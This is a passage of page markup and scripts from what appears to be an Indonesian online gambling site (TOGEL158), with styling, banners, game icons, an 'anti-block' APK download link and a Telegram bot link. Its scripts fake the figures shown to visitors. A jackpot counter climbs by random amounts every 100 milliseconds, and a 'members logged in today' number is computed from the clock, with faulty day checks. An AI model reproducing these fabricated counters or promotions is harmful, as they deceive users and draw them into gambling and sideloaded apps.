        gradient-flow 4s ease infinite;
    line-height: 24px;
    padding: 14px 14px;
    min-width: 30%;
    display: inline-block;
    text-align: center;
    border-radius: 30px;
    margin: 1rem 0;
    font-size: 18px;
    text-decoration: none;
    font-family: "Font Awesome 5 Free";
    cursor: pointer;
    letter-spacing: 1px;
    position: relative;
    overflow: hidden;
    transition: all 0.3s ease;
    border: 2px solid rgba(255, 255, 255, 0.3);
}

.telegram-button:hover {
    animation: 
        button-telegram 0.8s infinite alternate,
        gradient-flow 3s ease infinite;
    transform: translateY(-3px);
}

.telegram-button::before {
    content: '';
    position: absolute;
    top: -50%;
    left: -50%;
    width: 200%;
    height: 200%;
    background: linear-gradient(
        to bottom right,
        rgba(255, 255, 255, 0) 45%,
        rgba(255, 255, 255, 0.8) 50%,
        rgba(255, 255, 255, 0) 55%
    );
    transform: rotate(30deg);
    animation: shine 3s infinite;
}

@keyframes button-telegram {
    0% {
        box-shadow: 0 0 10px 3px rgba(0, 136, 204, 0.8),
                    inset 0 0 10px 2px rgba(255, 255, 255, 0.4);
    }
    100% {
        box-shadow: 0 0 20px 8px rgba(0, 184, 255, 0.8),
                    inset 0 0 15px 5px rgba(255, 255, 255, 0.6);
    }
}

@keyframes gradient-flow {
    0% {
        background-position: 0% 50%;
    }
    50% {
        background-position: 100% 50%;
    }
    100% {
        background-position: 0% 50%;
    }
}

@keyframes shine {
    0% {
        left: -50%;
        top: -50%;
    }
    100% {
        left: 150%;
        top: 150%;
    }
}
</style>

<script type="text/javascript">

$('<div style="margin-top:1.5rem; text-align: center; margin-bottom:18px;"><p style="color: yellow; text-shadow: 0px 0px 10px #777777, 0px 0px 20px #777777; font-size: 18px;font-family: "Font Awesome 5 Free";"><b>&#x21E9;&#x21E9;&#x21E9; DOWNLOAD APK ANTI BLOKIR &#x21E9;&#x21E9;&#x21E9;</b></p><p style="color: white; , 0px 0px 20px #faf2ca; font-size: 18px;"></p></div><div style="width:50%; display:table; margin-left:auto; margin-right:auto; font-size: 20px;"><a href="https://apkcomboes.com/apk-vt/apk158.apk"><span class="positif button-blues bb">APK TOGEL158</span></a></div></div><div style="width:80%; display:table; margin-left:auto; margin-right:auto; font-size: 20px;"><a href="https://t.me/satu58bot"><span class="positif telegram-button bb">BOT TELEGRAM TOGEL158</span></a></div>').insertBefore($('.wrapper2'));
</script>

<style>
    .grubsearchPasaran {
      margin-top: 10px;
      width: 100%;
      position: relative;
      padding: 5px 10px;
      background: llinear-gradient(112.1deg, #000000 11.4%, rgb(63, 76, 119) 70.2%);
      border: solid 1px #eeff00 !important;
      border-radius: 6px;
      display: flex;
      align-items: center;
      margin-bottom: 10px;
      box-shadow: inset 0 1px rgb(255 255 255 / 50%);
    }
    .grubsearchPasaran input {
      width: 100%;
      border: none;
      border-radius: 3px;
      padding: 5px;
      color: #000000;
      letter-spacing: 1px;
      background: white;
      box-shadow: none;
    }
    .grubsearchPasaran img {
      width: 28px;
      margin-right: 5px;
      filter: brightness(10) drop-shadow(1px 2px 2px #00000054) contrast(1);
    }
    .grubsearchPasaran input::placeholder {
      color: #b3bfc5;
    }
    hr {
      display: none;
    }
    #slider-hasil {
      padding-top: 10px;
      border-top: 1px solid #b9b8b8;
    }
</style>

    <script>
    $(document).ready(function() {
      var searchPasaran = '<div class="grubsearchPasaran"><img src="https://www.freeiconspng.com/uploads/search-icon-png-0.png" alt=""><input type="text" placeholder="Cari Pasaran..." id="searchPasaran"></div>';
    
      $(searchPasaran).insertBefore('#slider-hasil');
    });
    
    $(document).ready(function() {
      $('#searchPasaran').on('input', function() {
          var searchValue = $(this).val().toLowerCase();
          $('.results').hide();
          $('.pool-name').each(function() {
          var poolName = $(this).text().toLowerCase();
          if (poolName.includes(searchValue)) {
              $(this).closest('.results').show();
          }
          });
      });
        
    });
    </script>

<style>
.progresif-jackpot {
    font-size: 22px;
    font-weight: bold;
    padding: 25px;
    border-radius: 5px;
    text-align: center;
    color: gold;
    background: url(img/jackpot.gif) center;
    background-size: 100%;
    width: 100%;
    margin: 10px auto;
    height: 66px;
}

.sikat-jackpot {
    margin-left: auto;
    margin-right: auto;
    width: 90%;
    display: flex;
    align-items: center;
    padding-top: 0px;
    justify-content: center;
    border-radius: 0px;
}

.progresif-jackpot span {
    color: white;
    margin-right: 15px;
}

.slick-dots {
    display: none !important;
}

.slider-158 {
    width: 80%;
    margin: 0 auto;
}

.slick-slide img {
    width: 100%;
}

    .container.main {
        background: url(brand/TOGEL158/bg-ms.webp);
        background-size: contain;
    }
    .inner-wrap {
        background: transparent;
    }
</style>
<link rel="stylesheet" type="text/css" href="npm/slick-carousel%401.8.1/slick/slick.css"> 
<link rel="stylesheet" type="text/css" href="ajax/libs/slick-carousel/1.8.1/slick-theme.min.css">
<script type="text/javascript" src="npm/slick-carousel%401.8.1/slick/slick.min.js"></script>
<script>
$('<section class="slider-158"><div><img src="https://terusmajuimage.xyz/image/aztec.png"></div><div><img src="https://terusmajuimage.xyz/image/wild-bandito.png"></div><div><img src="https://terusmajuimage.xyz/image/sweet-bonanza.png"></div><div><img src="https://terusmajuimage.xyz/image/gates-of-gatot-kaca.png"></div><div><img src="https://terusmajuimage.xyz/image/golden-lion.png"></div><div><img src="https://terusmajuimage.xyz/image/starlight-princess.png"></div><div><img src="https://terusmajuimage.xyz/image/lucky-fortune.png"></div><div><img src="https://terusmajuimage.xyz/image/lucky-neko.png"></div><div><img src="https://terusmajuimage.xyz/image/mahjong-ways-2.png"></div><div><img src="https://terusmajuimage.xyz/image/gates-of-olympus.png"></div></section>').insertAfter('.wrapper2');

$('<div class=sikat-jackpot><div class=progresif-jackpot><span>IDR</span>1,178,279,999</div></div>').insertAfter($(".wrapper2"));
    $('.games-block').slick({
        slidesToShow: 3,
        slidesToScroll: 1,
        autoplay: true,
        autoplaySpeed: 2000,
        dots: true,
        responsive: [
            {
                breakpoint: 768,
                settings: {
                    slidesToShow: 3
                }
            },
            {
                breakpoint: 480,
                settings: {
                    slidesToShow: 3
                }
            }
        ]
    });
	function updateNumber() {
var element = document.querySelector('.progresif-jackpot');
var currentNumber = parseFloat(element.textContent.replace(/[^\d]/g, ''));
var increment = Math.floor(Math.random() * 5000) + 1; 
var newNumber = currentNumber + increment;
element.innerHTML = '<span>IDR</span>' + formatNumber(newNumber);
}

function formatNumber(number) {
return number.toString().replace(/\B(?=(\d{3})+(?!\d))/g, ".");
}


setInterval(updateNumber, 100);
$(document).ready(function () {
$('.slider-158').slick({
slidesToShow: 3,
slidesToScroll: 1,
autoplay: true,
autoplaySpeed: 2000,
dots: true,
responsive: [
{
  breakpoint: 768,
  settings: {
    slidesToShow: 3
  }
},
{
  breakpoint: 480,
  settings: {
    slidesToShow: 3
  }
}
]
});
});
</script>

<style>
    .list-menu-mobile {
        width: 100%;
        margin-top: 5px;
    }

    .list-menu-mobile a {
        width: 20%;
        padding: 0px 5px;
        display: inline-block;
        margin-top: 5px;
    }

    .list-menu-mobile a img {
        width: 100%;
    }

    .main {
        background: #000;
    }

    .panel {
        background: #000;
    }

    .clearfix {
        overflow: auto;
    }

    .clearfix::after {
        content: "";
        clear: both;
        display: table;
    }
    .owl-theme .owl-controls .owl-page span {
        display: none;
        width: 12px;
        height: 12px;
        margin: 5px 7px;
        filter: Alpha(Opacity=50);
        opacity: 0.5;
        -webkit-border-radius: 20px;
        -moz-border-radius: 20px;
        border-radius: 20px;
        background: #869791;
    }
    .owl-carousel {
        display: none;
        position: relative;
        width: 100%;
        -ms-touch-action: pan-y;
        margin-bottom: -15px;
    }
    .buttonlc2 {
        text-align: center;
        width: 100%;
        height: 35px !important;
        color: #000000;
        padding: 10px 0 10px 0;
        display: inline-block;
        margin-bottom: 10px;
        font-family: aller;
        font-size: 14px;
        line-height: 14px !important;
        box-shadow: inset 0 -4px 0 rgb(144 92 0);
        background: linear-gradient(to left, #ffdb03 0%,#ff7100 50%,#ffdc00 100%);
        box-shadow: inset 0 -4px 0 rgb(221 146 5);

    }

    .header-logo2 {
        margin-left: 32px !important;
        width: 164px !important;
        height: 50px !important;
        margin-top: 7px !important;
    }

    .pukiayam {
        width: 100%;
        height: 230px;
    }

    .icon-mobile {
        margin: auto;
        padding: 0px;
        display: table;
        text-align: Center;
    }

    .icon-mobile li {
        list-style: none;
        display: inline-block;
        width: 24%;
        margin-bottom: 0px;
    }

    .icon-mobile li a {
        display: block;
    }

    .icon-mobile li a img {
        max-width: 100%;
    }

    .scontent {
        margin-bottom: 0px !important;
    }

    .iconuserlogin {
     position: absolute;
     top: 42px;
     left: 18px;
     background: linear-gradient(112.1deg, #000000 11.4%, rgb(63, 76, 119) 70.2%);
     border-radius: 17px 0 0 17px;
     padding: 10px 13px;
     box-shadow: 1px 0 5px #000000;
     border: 1px solid #eeff00;
    }

    .iconuserlogin img {
        width: 19.3px;

    }

    .iconkeylogin {
        position: absolute;
        top: 92px;
        left: 18px;
        background: linear-gradient(112.1deg, #000000 11.4%, rgb(63, 76, 119) 70.2%);
        border-radius: 17px 0 0 17px;
        padding: 10px 13px;
        box-shadow: 1px 0 5px #000000;
        border: 1px solid #eeff00;

    }

    .iconkeylogin img {
        width: 19.3px;
    }

    .contactField {
        height: 40px;
        padding-left: 12px;
        padding-right: 12px;
        margin-bottom: 0px;
        border-radius: 17px 17px 17px 17px;
    }

    .wrapper2 {
        background: transparent);
    }

    .inner-wrap {
        background: linear-gradient(112.1deg, rgb(32, 38, 57) 11.4%, rgb(63, 76, 119) 70.2%);
    }

    .buttons {
        text-align: center;
        color: #FFFFFF;
        padding: 10px 26px 10px 26px;
        display: inline-block;
        margin-bottom: 10px;
        font-family: aller;
        font-size: 20px;
        text-transform: uppercase;
    }
    
    .promosix {
        text-align: center;
        color: #FFFFFF;
        padding: 10px 26px 10px 26px;
        display: inline-block;
        margin-bottom: 10px;
        font-family: aller;
        font-size: 20px;
        text-transform: uppercase;
    }

    .button-blue {
        background: linear-gradient(to bottom,#ffa800 0%,#ffe808 100%);
        box-shadow: none;
        border: 1px #404040 solid;
        color: #000000;
        border: 2px solid #ffe808;
    }

    .buttong {
        text-align: center;
        color: #FFFFFF;
        padding: 10px 26px 10px 26px;
        margin-bottom: 10px;
        font-family: aller;
        font-size: 20px;
        text-transform: uppercase;
    }

    .buttonWrap {
        line-height: 20px;
        padding-bottom: 24px;
        min-width: 43%;
        display: inline-block;
        text-align: center;
        border-radius: 40px;
      font-family: "Font Awesome 5 Free";
    }

    .button-green {
        background: linear-gradient(to bottom,#00f5f6 0%,#0b669e 100%);
        box-shadow: inset 0 -2px 0 #00fff4;
        border: 1px #404040 solid;
        color: #000000;
    }
    
    .buttonlc {
        position: absolute;
        margin-top: -1px !important;
        right: 20px;
        width: 70px;
        font-size: 10px !important;
        margin-right: -25px;
    }

    .button-yellow {
        background: linear-gradient(to right top, #ff8d00, #c39900, #ffee5f, #ab8c00, #ffbc00);
        border: 1px solid #ffce00;
        box-shadow: none;
        color: #151515;
    }

    input[type="submit"],
    .button,
    .buttons,
    .promosix,
    .buttond,
    .buttonss,
    .buttong,
    .buttonblc,
    .buttondapk {
        border-radius: 17px 17px 17px 17px;
    }
    #slider-hasil .slider {
      width: 100%;
      display: grid;
      grid-template-columns: repeat(4, 1fr);
      gap: 3px;
    }
    @media screen and (max-width: 900px) {
        .results {
            border: solid 1px #eeff00 !important;
     border-radius: 3px;
            background: linear-gradient(112.1deg, #000000 11.4%, rgb(63, 76, 119) 70.2%);
      display: flex;
      flex-direction: column;
      justify-content: center;
      align-items: center;
      padding: 20px 5px 5px 5px;
        }
    }

    .pool-name {
      white-space: nowrap;
        text-transform: uppercase;
        color: #ffffff !important;
        background: linear-gradient(to right, #0c0b00, #000000) !important;
        width: 100% !important;
        font-size: 9px !important;
        font-weight: bold !important;
        text-align: center !important;
      position: absolute;
      top: 0px;
      padding: 3px 2px;
        border-bottom: 1px solid #eeff00 !important;
  background-size: auto;
  animation: gradient 5s ease infinite;
    }

    .pool-date {
        font-size: 8px !important;
        margin-left: 0 !important;
        padding-top: 0 !important;
        text-align: center !important;
        display: block !important;
        color: #fff !important;
    }

    .panel-blue {
        background: #000000;
        padding: 10px;
        border-radius: 7px;
        border: 1px solid #ffbf27;
        margin-bottom: 10px
    }
    }

    .results {
        background: linear-gradient(112.1deg, #000000 11.4%, rgb(63, 76, 119) 70.2%);
        border: 1px solid #e2a806;
    }

    .pool-name,
    .pool-date {
        color: #fff;
    }

    .pool-result {
        color: #ffffff;
        text-align: center !important;
        width: 100% !important;
        font-size: 20px !important;
        line-height: 1.2 !important;
        float: none !important;
    }

    .footer#footer {
        width: 1170px;
        margin: auto;
    }
</style>

<style type="text/css">
    .custd-container {
        border-radius: 15px;
        padding: 10px;
        margin-right: auto;
        margin-left: auto;
        width: 830px;
        height: 130px;
        font-family: Muli !important;
    }

    .custd-bg {
        background-color: #000000;
        font-family: Muli !important;
    }

    .custd-25px {
        font-size: 25px;
        font-family: dinpro;
        color: #fff;
        font-weight: bold;
        font-family: Muli !important;
    }

    .custd-18px {
        font-size: 16px;
        font-family: dinpro;
        color: #fff;
        font-family: Muli !important;
    }

    .custd-15px {
        font-size: 15px;
        font-family: dinpro;
        color: #fff;
        font-family: Muli !important;
    }

    .custd-right {
        text-align: right;
        font-family: Muli !important;
    }

    .custd-left {
        text-align: left !important;
        font-family: Muli !important;
        margin-left: 2px;
    }

    .custd-center {
        vertical-align: center;
        font-family: Muli !important;
    }

    .progress21,
    .progress31 {
        padding: 3px;
        border-radius: 30px;
        background: rgba(255, 255, 255, 0.25);
        box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.25), 0 1px rgba(255, 255, 255, 0.08);
    }

    .progress-bar21,
    .progress-bar31 {
        height: 10px;
        border-radius: 30px;
        background-image:
            linear-gradient(to bottom, rgba(255, 255, 255, 0.3), rgba(255, 255, 255, 0.05));
        transition: 0.4s linear;
        transition-property: width, background-color;
    }

    .progress-moved2 .progress-bar21 {
        width: 10%;
        background-color: #ffd700;
        animation: progressAnimation21 3s;
    }

    @keyframes progressAnimation21 {
        0% {
            width: 1%;
            background-color: #ffd700;
        }

        100% {
            width: 10%;
            background-color: #ffd700;
        }
    }

    .progress-moved11 .progress-bar31 {
        width: 30%;
        background-color: #ffd700;
        animation: progressAnimation31 3s;
    }

    @keyframes progressAnimation31 {
        0% {
            width: 1%;
            background-color: #ffd700;
        }

        100% {
            width: 30%;
            background-color: #ffd700;
        }
    }

    .border-red {
        width: 360px;
        max-width: 100%;
        border: 1px solid #ffd000;
        height: auto;
        font-family: Arial !important;
    }

    .border-red p {
        color: #fff;
        font-weight: bold;
    }

    .border-red div {
        border-top: 1px solid #ffd000;
    }

    .border-red div table tr td {
        border-top: none;
        border-bottom: none;
    }

    .button-red {
        background: linear-gradient(to bottom, #ffffff 0%, #000000 100%);
        box-shadow: 2px 2px 3px 0px #fbff00;
        border: 1px solid #fff700;
    }
</style>

<script>
    document.addEventListener("DOMContentLoaded", function() {
        $('<div class="custd-container custd-bg border-red"><p>LAYANAN KAMI</p><div class="custd-bg"><table class="custd-bg" cellspacing="0" cellpadding="0"><tr><td class="custd-18px custd-left custd-bg" style="width:80px; padding-left: 3px;">DEPOSIT</td><td rowspan="2" style="vertical-align: bottom;" class="custd-right custd-bg"><img width="30%" height="auto" src="https://ocrd-ontario.org/media/2.png"></td><td rowspan="2" style="vertical-align: bottom;" class="custd-15px custd-right custd-bg">Menit</td></tr><tr><td class="custd-15px custd-left custd-bg" style="padding-left: 3px;">Rata-Rata</td></tr><tr><td class="custd-bg" colspan="3"><div class="progress21 progress-moved2 custd-bg" style="padding-left: 3px;"><div class="progress-bar21 custd-bg" style="padding-left: 3px;"></div></div></td></tr></table></div><div class="custd-bg"><table class="custd-bg" cellspacing="0" cellpadding="0"><tr><td class="custd-18px custd-left custd-bg" style="width:80px; padding-left: 3px;">WITHDRAW</td><td rowspan="2" style="vertical-align: bottom;" class="custd-right custd-bg"><img width="30%" height="auto" src="https://ocrd-ontario.org/media/3.png"></td><td rowspan="2" style="vertical-align: bottom;" class="custd-15px custd-right custd-bg">Menit</td></tr><tr><td class="custd-15px custd-left custd-bg" style="padding-left: 3px;">Rata-Rata</td></tr><tr><td class="custd-bg" colspan="3"><div class="progress31 progress-moved11 custd-bg1"><div class="progress-bar31 custd-bg"></div></div></td></tr></table></div><div class="custd-bg"><table class="custd-bg" cellspacing="0" cellpadding="0"><tr><td class="custd-18px custd-left custd-bg" style="width:80px; padding-left: 3px;" colspan="3">MEMBER LOGIN HARI INI</td></tr><tr><td class="custd-15px custd-left custd-bg" rowspan="2" style="padding-left: 3px;"><img src="https://ocrd-ontario.org/media/judi-online.png" class="custd-left" width="28%" height="auto"></td><td class="custd-25px custd-center custd-bg" id="custangka">23512</td><td style="text-align: center;" class="custd-15px custd-bg"> Member</td</tr></table></div></div></br>').insertBefore(".panel-blue");
    }, false);
    $(document).ready(function () {
        var iconUser = '<div class="iconuserlogin"><img src="https://iili.io/JIRpsj9.png" alt=""></div>';
        var iconKey = '<div class="iconkeylogin"><img src="https://iili.io/JIRpLQe.png" alt=""></div>';

        $('.wrapper2').append(iconUser + iconKey);
    });
</script>

<script type="text/javascript">
    function formatangka(angka) {
        var number_string = angka.toString(),
            split = number_string.split(','),
            sisa = split[0].length % 3,
            rupiah = split[0].substr(0, sisa),
            ribuan = split[0].substr(sisa).match(/\d{3}/gi);
        if (ribuan) {
            separator = sisa ? '.' : '';
            rupiah += separator + ribuan.join('.');
        }
        rupiah = split[1] != undefined ? rupiah + ',' + split[1] : rupiah;
        return rupiah;
    }
    window.onload = function what() {
        var today = new Date();
        let day = today.getDay();
        var jam = today.getHours() * 3600;
        var menit = today.getMinutes() * 60;
        var detik = today.getSeconds();
        if (day = 0) {
            var totaljam = Math.floor((jam + menit + detik) / 3 + 15000);
        } else if (day = 1) {
            var totaljam = Math.floor((jam + menit + detik) / 3 + 14000);
        } else if (day = 2) {
            var totaljam = Math.floor((jam + menit + detik) / 3 + 10500);
        } else if (day = 3) {
            var totaljam = Math.floor((jam + menit + detik) / 3 + 13000);
        } else if (day = 4) {
            var totaljam = Math.floor((jam + menit + detik) / 3 + 12000);
        } else if (day = 5) {
            var totaljam = Math.floor((jam + menit + detik) / 3 + 10000);
        } else {
            var totaljam = Math.floor((jam + menit + detik) / 3 + 17500);
        }
        document.getElementById("custangka").innerHTML = formatangka(totaljam);
    };
</script>

<script>

document.addEventListener("DOMContentLoaded",function(){
$('<a target="_blank" href="https://158toto.net/" class="buttonWrap buttong button-yellow contactSubmitButton">Bukti Pembayaran</a>').insertAfter(".button-green");

},false);
</script>
    <!-- LEADERBOARDS -->
    <div style="position: absolute;z-index: 99;right:-235px;">
        <div onclick="OpenInNewTab()"></div>
            </div>
    
    <div id="slider" class="slider">
        <div class="owl-carousel owl-theme" style="height: auto">
                                                                                                            <div class="item">
                            <img src="brand/TOGEL158/Banner/PERHATIAN-158.png" width="840px">
                        </div>
                                                                                <div class="item">
                            <img src="Banner/mahjong-scatter-hitam.png" width="840px">
                        </div>
                                                                                <div class="item">
                            <img src="Banner/lomba-turnover-tiap-2-minggu.jpg" width="840px">
                        </div>
                                                                                <div class="item">
                            <img src="brand/TOGEL158/Banner/FA-Togel158-Banner02.jpg" width="840px">
                        </div>
                                                                                                                <div class="item">
                    <img src="https://landingsplash.xyz/banner/image/promotion/SlideBannerHomepage840480.webp" width="840px" height="482">
                </div>
                            <div class="item">
                    <img src="https://landingsplash.xyz/banner/image/banner/photo_2024-01-17_15-12-52.jpg" width="840px" height="482">
                </div>
                            <div class="item">
                    <img src="https://landingsplash.xyz/banner/image/promotion/IDNTOTTOHK.jpg" width="840px" height="482">
                </div>
                            <div class="item">
                    <img src="https://landingsplash.xyz/banner/image/promotion/IDNTOTOSYD.jpg" width="840px" height="482">
                </div>
                    </div>
    </div>
    <!-- END SLIDER -->
    <!-- BANNER -->
    <!-- data banner diambil dari database -->
    <!-- END BANNER -->

                
    <!-- LATEST RESULTS -->
    <!-- data diambil dari table cache_lobby berdasarkan jenisgame -->
    <div id="latest-results" class="margin-top-15">
        <div class="owl-carousel owl-theme gameicon">
                                                <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                        <img src="assets/img/icon/icon-pools.jpg" class="w-100">
                    </div>
                                                                                                <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                            <img src="assets/img/icon/icon-hongkong.jpg" class="w-100">
                        </div>
                                                                                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                            <img src="assets/img/icon/icon-24dspin.jpg" class="w-100">
                        </div>
                                                                                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                            <img src="assets/img/icon/icon-dice6.jpg" class="w-100">
                        </div>
                                                                                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                            <img src="assets/img/icon/icon-totomacau.jpg" class="w-100">
                        </div>
                                                                                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                            <img src="assets/img/icon/icon-totomacau5d.jpg" class="w-100">
                        </div>
                                                                                                                                                <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                            <img src="assets/img/icon/icon-24d.jpg" class="w-100">
                        </div>
                                                                                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                            <img src="assets/img/icon/icon-roulette.jpg" class="w-100">
                        </div>
                                                                                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                            <img src="assets/img/icon/icon-sicbo%5Bdice%5D.jpg" class="w-100">
                        </div>
                                                                                                    <div class="item slides" data-animation="fadeIn" style='text-align:center'>
                            <img src="assets/img/icon/icon-sydney.jpg" class="w-100">
                        </div>
                                                
        </div>
        <br>
        <!-- nomor telpon dan social media -->
            </div>
    <!-- END LATEST RESULTS -->

                
    

            </div>
        
    </div>

</div>
<!-- END CONTENT -->



    </section>
            <section class="section" id="bank">
                <div class="container">
                    <div class="row">

                        <div class="col-md-3">

                            <div class="btn-group custom-navigation circle-navigation with-heading no-top-margin">
                                <h4 class="no-top-margin uppercase"><i class="fa fa-history"></i>&nbsp;&nbsp;<strong>Jadwal</strong> Bank</h4>
                                <div class="nav-bank">
                                    <button type="button" class="btn prev"><i class="fa fa-angle-left"></i></button>
                                    <button type="button" class="btn next"><i class="fa fa-angle-right"></i></button>
                                </div>
                            </div>

                        </div>

                        <div class="col-md-9">

                            <div class="owl-carousel owl-theme bankscroll">
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online allobank">
                                        </div>
                                        <img src="assets/img/global/banks/allobank.png?v=1775594878" alt="Bank Central Asia" width="78px" height="24px">
                                    </div>
                                                                                                                                            <div class="item bank" data-animation="fadeIn">
                                        <div class="online bankaladin">
                                        </div>
